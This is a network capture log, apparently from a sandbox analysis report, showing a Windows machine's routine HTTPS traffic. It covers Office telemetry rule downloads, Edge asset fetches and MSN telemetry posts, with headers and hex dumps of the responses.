2024-11-20 07:09:25 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:25 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:25 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:25 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: feb02638-401e-0067-7b8c-3a09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070925Z-r1d97b99577tssmjhC1TEB8kan00000008gg000000001ezf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:25 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:25 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:25 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: bfe6d614-201e-006e-7a8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070925Z-1777c6cb754gvvgfhC1TEBz4rg00000009b00000000074vf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:25 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:25 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:25 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:25 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: a1d815ed-301e-0096-3f8c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070925Z-1777c6cb754j47wfhC1TEB5wrw000000050000000000gc3w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:25 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	49872	13.107.246.40	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:25 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 07:09:26 UTC	523	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:26 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 6688a617-f01e-003d-7f1b-3bdd21000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T070925Z-185f5d8b95cmd8vfhC1NYC0g4000000005sg00000000a149 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-20 07:09:26 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	49873	13.107.246.40	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:25 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 07:09:26 UTC	516	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:26 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: cccbf3d8-c01e-0053-641b-3b7408000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T070925Z-1777c6cb754dqb2khC1TEBmk1s000000097g0000000091pw Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-20 07:09:26 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:26 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:26 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 62f36519-501e-0016-468c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070926Z-185f5d8b95cdcwrthC1NYCy5b800000009t000000000gb0u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:26 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	49875	52.138.229.66	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:26 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732086564597&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11552 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0D5DEEC7B95C6AE11814FBFAB85B6BD9; _EDGE_S=F=1&SID=00138218F82B6D62278E9725F9436C7D; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-20 07:09:26 UTC	11552	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 30 54 30 37 3a 30 39 3a 32 34 2e 35 39 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 64 39 35 38 37 31 31 2d 37 30 39 61 2d 34 65 39 65 2d 61 62 64 62 2d 33 30 39 61 30 39 62 32 31 37 32 66 22 2c 22 65 70 6f 63 68 22 3a 22 32 30 32 32 39 30 30 34 33 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-20T07:09:24.593Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"7d958711-709a-4e9e-abdb-309a09b2172f","epoch":"2022900430"},"app":{"locale
2024-11-20 07:09:26 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=2e8894d2aeba4d60b3ccbba115babb23&HASH=2e88&LV=202411&V=4&LU=1732086566754; Domain=.microsoft.com; Expires=Thu, 20 Nov 2025 07:09:26 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=39a54feceac84ac5b20dba3398062ef1; Domain=.microsoft.com; Expires=Wed, 20 Nov 2024 07:39:26 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2157 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 20 Nov 2024 07:09:26 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	49876	52.138.229.66	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:26 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732086564605&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5092 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0D5DEEC7B95C6AE11814FBFAB85B6BD9; _EDGE_S=F=1&SID=00138218F82B6D62278E9725F9436C7D; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-20 07:09:26 UTC	5092	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 30 54 30 37 3a 30 39 3a 32 34 2e 36 30 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 64 39 35 38 37 31 31 2d 37 30 39 61 2d 34 65 39 65 2d 61 62 64 62 2d 33 30 39 61 30 39 62 32 31 37 32 66 22 2c 22 65 70 6f 63 68 22 3a 22 32 30 32 32 39 30 30 34 33 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-20T07:09:24.604Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"7d958711-709a-4e9e-abdb-309a09b2172f","epoch":"2022900430"},"app":{"locale
2024-11-20 07:09:27 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=9bc569488bba46538440ab5d51743658&HASH=9bc5&LV=202411&V=4&LU=1732086566906; Domain=.microsoft.com; Expires=Thu, 20 Nov 2025 07:09:26 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=eb2e0214db1d4027b8dae6a904259dda; Domain=.microsoft.com; Expires=Wed, 20 Nov 2024 07:39:26 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2301 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 20 Nov 2024 07:09:26 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	49877	13.107.246.45	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:26 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:26 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 7511d71d-801e-0083-6e8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070926Z-1777c6cb754xrr98hC1TEB3kag000000090g00000000g3xa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:26 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	49879	13.107.246.45	443	4408	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:26 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:26 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: c1a1e3cb-901e-005b-1f8c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070926Z-185f5d8b95cx9g8lhC1NYCtgvc000000027000000000br9x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
